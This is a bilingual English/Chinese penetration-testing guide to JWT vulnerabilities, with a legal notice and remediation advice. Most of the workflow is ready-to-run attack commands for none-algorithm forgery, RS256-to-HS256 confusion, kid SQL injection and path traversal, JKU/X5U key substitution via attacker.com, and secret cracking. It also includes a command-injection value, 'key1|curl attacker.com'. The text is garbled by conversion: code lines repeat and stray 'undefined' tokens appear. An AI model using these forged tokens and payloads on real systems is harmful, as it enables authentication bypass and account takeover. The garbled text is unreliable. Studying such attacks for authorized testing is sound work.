testing-for-json-web-token-vulnerabilities
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseTesting for JSON Web Token Vulnerabilities
JSON Web Token(JWT)漏洞测试
When to Use
适用场景
- When testing applications using JWT for authentication and session management
- During API security assessments where JWTs are used for authorization
- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
- During penetration testing of single sign-on (SSO) systems
- When auditing JWT library configurations for known vulnerabilities
- 测试使用JWT进行认证和会话管理的应用程序时
- 在使用JWT进行授权的API安全评估期间
- 评估使用JWT的OAuth 2.0或OpenID Connect实现时
- 在单点登录(SSO)系统的渗透测试期间
- 审计JWT库配置中的已知漏洞时
Prerequisites
前置条件
- jwt_tool (Python JWT exploitation toolkit)
- Burp Suite with JWT Editor extension
- jwt.io for decoding and inspecting JWT structure
- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
- hashcat or john for brute-forcing weak JWT secrets
- Python PyJWT library for custom JWT forging scripts
- Access to application using JWT-based authentication
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
- jwt_tool(Python JWT利用工具包)
- 带有JWT Editor扩展的Burp Suite
- 用于解码和检查JWT结构的jwt.io
- 了解JWT结构(header.payload.signature)和算法(HS256、RS256)
- 用于暴力破解弱JWT密钥的hashcat或john
- 用于自定义JWT伪造脚本的Python PyJWT库
- 访问使用基于JWT认证的应用程序
法律声明: 本技能仅用于授权的安全测试和教育目的。未经授权对不属于您或未获得书面测试许可的系统使用本技能是非法的,可能违反计算机欺诈相关法律。
Workflow
测试流程
Step 1 — Decode and Analyze JWT Structure
步骤1 — 解码并分析JWT结构
bash
undefinedbash
undefinedInstall jwt_tool
安装jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
Decode JWT without verification
无需验证解码JWT
python3 jwt_tool.py <JWT_TOKEN>
python3 jwt_tool.py <JWT_TOKEN>
Decode manually with base64
使用base64手动解码
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
Examine JWT in jwt.io
在jwt.io中检查JWT
Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
检查:算法(alg)、密钥ID(kid)、发行者(iss)、受众(aud)
Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)
检查:过期时间(exp)、生效时间(nbf)、声明(role、admin等)
Example JWT header inspection
JWT头部检查示例
{"alg":"RS256","typ":"JWT","kid":"key-1"}
{"alg":"RS256","typ":"JWT","kid":"key-1"}
Look for: alg, kid, jku, jwk, x5u, x5c headers
查找:alg、kid、jku、jwk、x5u、x5c头部
undefinedundefinedStep 2 — Test "None" Algorithm Bypass
步骤2 — 测试“None”算法绕过
bash
undefinedbash
undefinedChange algorithm to "none" and remove signature
将算法改为"none"并移除签名
python3 jwt_tool.py <JWT_TOKEN> -X a
python3 jwt_tool.py <JWT_TOKEN> -X a
Manual none algorithm attack:
手动执行none算法攻击:
Original header: {"alg":"HS256","typ":"JWT"}
原始头部:{"alg":"HS256","typ":"JWT"}
Modified header: {"alg":"none","typ":"JWT"}
修改后的头部:{"alg":"none","typ":"JWT"}
Encode new header, keep payload, remove signature (empty string after last dot)
编码新头部,保留负载,移除签名(最后一个点后为空字符串)
Variations to try:
尝试不同变体:
"alg": "none"
"alg": "none"
"alg": "None"
"alg": "None"
"alg": "NONE"
"alg": "NONE"
"alg": "nOnE"
"alg": "nOnE"
Send forged token
发送伪造的令牌
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
jwt_tool automated none attack
jwt_tool自动化none攻击
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
undefinedpython3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin
undefinedStep 3 — Test Algorithm Confusion (RS256 to HS256)
步骤3 — 测试算法混淆(RS256转HS256)
bash
undefinedbash
undefinedIf server uses RS256, attempt to switch to HS256 using public key as HMAC secret
如果服务器使用RS256,尝试使用公钥作为HMAC密钥切换到HS256
Step 1: Obtain the public key
步骤1:获取公钥
From JWKS endpoint
从JWKS端点获取
From SSL certificate
从SSL证书获取
openssl s_client -connect target.com:443 </dev/null 2>/dev/null |
openssl x509 -pubkey -noout > public_key.pem
openssl x509 -pubkey -noout > public_key.pem
openssl s_client -connect target.com:443 </dev/null 2>/dev/null |
openssl x509 -pubkey -noout > public_key.pem
openssl x509 -pubkey -noout > public_key.pem
Step 2: Forge token using public key as HMAC secret
步骤2:使用公钥作为HMAC密钥伪造令牌
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
Manual algorithm confusion:
手动执行算法混淆:
Change header from {"alg":"RS256"} to {"alg":"HS256"}
将头部从{"alg":"RS256"}改为{"alg":"HS256"}
Sign with public key using HMAC-SHA256
使用HMAC-SHA256用公钥签名
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
undefinedpython3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"
undefinedStep 4 — Test Key ID (kid) Parameter Injection
步骤4 — 测试密钥ID(kid)参数注入
bash
undefinedbash
undefinedSQL Injection via kid
通过kid进行SQL注入
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--"
-S hs256 -p "secret-key"
-S hs256 -p "secret-key"
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--"
-S hs256 -p "secret-key"
-S hs256 -p "secret-key"
Path Traversal via kid
通过kid进行路径遍历
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null"
-S hs256 -p ""
-S hs256 -p ""
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null"
-S hs256 -p ""
-S hs256 -p ""
Kid pointing to empty file (sign with empty string)
kid指向空文件(使用空字符串签名)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
SSRF via kid (if kid fetches remote key)
通过kid进行SSRF(如果kid获取远程密钥)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
Command injection via kid (rare but possible)
通过kid进行命令注入(罕见但可能)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
undefinedpython3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"
undefinedStep 5 — Test JKU/X5U Header Injection
步骤5 — 测试JKU/X5U头部注入
bash
undefinedbash
undefinedJKU (JSON Web Key Set URL) injection
JKU(JSON Web密钥集URL)注入
Point jku to attacker-controlled JWKS
将jku指向攻击者控制的JWKS
Step 1: Generate key pair
步骤1:生成密钥对
python3 jwt_tool.py <JWT_TOKEN> -X s
python3 jwt_tool.py <JWT_TOKEN> -X s
Step 2: Host JWKS on attacker server
步骤2:在攻击者服务器上托管JWKS
jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json
jwt_tool会生成jwks.json - 将其托管在http://attacker.com/.well-known/jwks.json
Step 3: Modify JWT header to point to attacker JWKS
步骤3:修改JWT头部以指向攻击者的JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
X5U (X.509 certificate URL) injection
X5U(X.509证书URL)注入
Similar to JKU but using X.509 certificate chain
与JKU类似,但使用X.509证书链
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
Embedded JWK attack (inject key in JWT header itself)
嵌入JWK攻击(在JWT头部中注入密钥)
python3 jwt_tool.py <JWT_TOKEN> -X i
undefinedpython3 jwt_tool.py <JWT_TOKEN> -X i
undefinedStep 6 — Brute-Force Weak JWT Secrets
步骤6 — 暴力破解弱JWT密钥
bash
undefinedbash
undefinedBrute-force HMAC secret with hashcat
使用hashcat暴力破解HMAC密钥
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
Using jwt_tool wordlist attack
使用jwt_tool字典攻击
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
Using john the ripper
使用John the Ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
Common weak secrets to try:
常见弱密钥尝试:
secret, password, 123456, admin, test, key, jwt_secret
secret, password, 123456, admin, test, key, jwt_secret
Also try: application name, company name, domain name
也可尝试:应用名称、公司名称、域名
Once secret is found, forge arbitrary tokens
找到密钥后,伪造任意令牌
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret"
-I -pc role -pv admin -pc sub -pv "admin@target.com"
-I -pc role -pv admin -pc sub -pv "admin@target.com"
undefinedpython3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret"
-I -pc role -pv admin -pc sub -pv "admin@target.com"
-I -pc role -pv admin -pc sub -pv "admin@target.com"
undefinedKey Concepts
核心概念
| Concept | Description |
|---|---|
| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |
| None Algorithm | Setting alg to "none" to create unsigned tokens accepted by misconfigured servers |
| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |
| JKU/X5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |
| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |
| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |
| Token Replay | Reusing valid JWTs after the intended session should have expired |
| 概念 | 描述 |
|---|---|
| 算法混淆 | 从非对称算法(RS256)切换到对称算法(HS256),使用公钥作为密钥 |
| None算法 | 将alg设置为"none",创建服务器接受的无签名令牌(服务器配置错误时) |
| Kid注入 | 利用密钥ID头部参数进行SQL注入、路径遍历或SSRF |
| JKU/X5U注入 | 将密钥源URL指向攻击者控制的服务器以替换密钥 |
| 弱密钥 | 可通过字典攻击暴力破解的HMAC密钥 |
| 声明篡改 | 绕过签名验证后修改负载声明(role、sub、admin等) |
| 令牌重放 | 在会话应过期后重用有效的JWT |
Tools & Systems
工具与系统
| Tool | Purpose |
|---|---|
| jwt_tool | Comprehensive JWT testing and exploitation toolkit |
| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |
| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |
| john the ripper | CPU-based JWT secret cracking |
| jwt.io | Online JWT decoder and debugger for inspection |
| PyJWT | Python library for programmatic JWT creation and verification |
| 工具 | 用途 |
|---|---|
| jwt_tool | 全面的JWT测试与利用工具包 |
| JWT Editor(Burp) | Burp Suite扩展,用于JWT操作和攻击自动化 |
| hashcat | GPU加速的JWT密钥暴力破解工具(模式16500) |
| John the Ripper | 基于CPU的JWT密钥破解工具 |
| jwt.io | 在线JWT解码和调试工具,用于检查结构 |
| PyJWT | 用于程序化创建和验证JWT的Python库 |
Common Scenarios
常见场景
- None Algorithm Bypass — Change JWT algorithm to "none", remove signature, and forge admin tokens on servers that accept unsigned JWTs
- Algorithm Confusion RCE — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access
- Kid SQL Injection — Inject SQL payload in kid parameter to extract the signing key from the database
- Weak Secret Cracking — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user
- JKU Server Spoofing — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key
- None算法绕过 — 将JWT算法改为"none",移除签名,在接受无签名JWT的服务器上伪造管理员令牌
- 算法混淆权限提升 — 使用泄露的公钥将RS256切换为HS256,伪造任意令牌以获取管理员权限
- Kid SQL注入 — 在kid参数中注入SQL payload,从数据库中提取签名密钥
- 弱密钥破解 — 使用hashcat暴力破解HMAC-SHA256密钥,为任意用户伪造JWT
- JKU服务器欺骗 — 将JKU头部指向攻击者控制的JWKS端点,使用攻击者的私钥签名令牌
Output Format
输出格式
undefinedundefinedJWT Security Assessment Report
JWT安全评估报告
- Target: http://target.com
- JWT Algorithm: RS256 (claimed)
- JWKS Endpoint: http://target.com/.well-known/jwks.json
- 目标: http://target.com
- JWT算法: RS256(声明)
- JWKS端点: http://target.com/.well-known/jwks.json
Findings
发现的问题
| # | Vulnerability | Technique | Impact | Severity |
|---|---|---|---|---|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |
| # | 漏洞 | 技术手段 | 影响 | 严重程度 |
|---|---|---|---|---|
| 1 | 接受none算法 | alg: "none" | 认证绕过 | 关键 |
| 2 | 算法混淆 | RS256 -> HS256 | 令牌伪造 | 关键 |
| 3 | 弱HMAC密钥 | 暴力破解:"secret123" | 完全令牌伪造 | 关键 |
| 4 | Kid路径遍历 | kid: "../../dev/null" | 使用空密钥签名 | 高 |
Remediation
修复建议
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocation
undefined- 在JWT验证中强制使用算法白名单(拒绝"none")
- 使用非对称算法(RS256/ES256)并妥善管理密钥
- 为HMAC算法使用强随机密钥(256位以上)
- 针对严格的允许列表验证kid参数
- 忽略jku/x5u头部或针对已知端点进行验证
- 设置适当的令牌过期时间(exp)并实现令牌吊销机制
undefined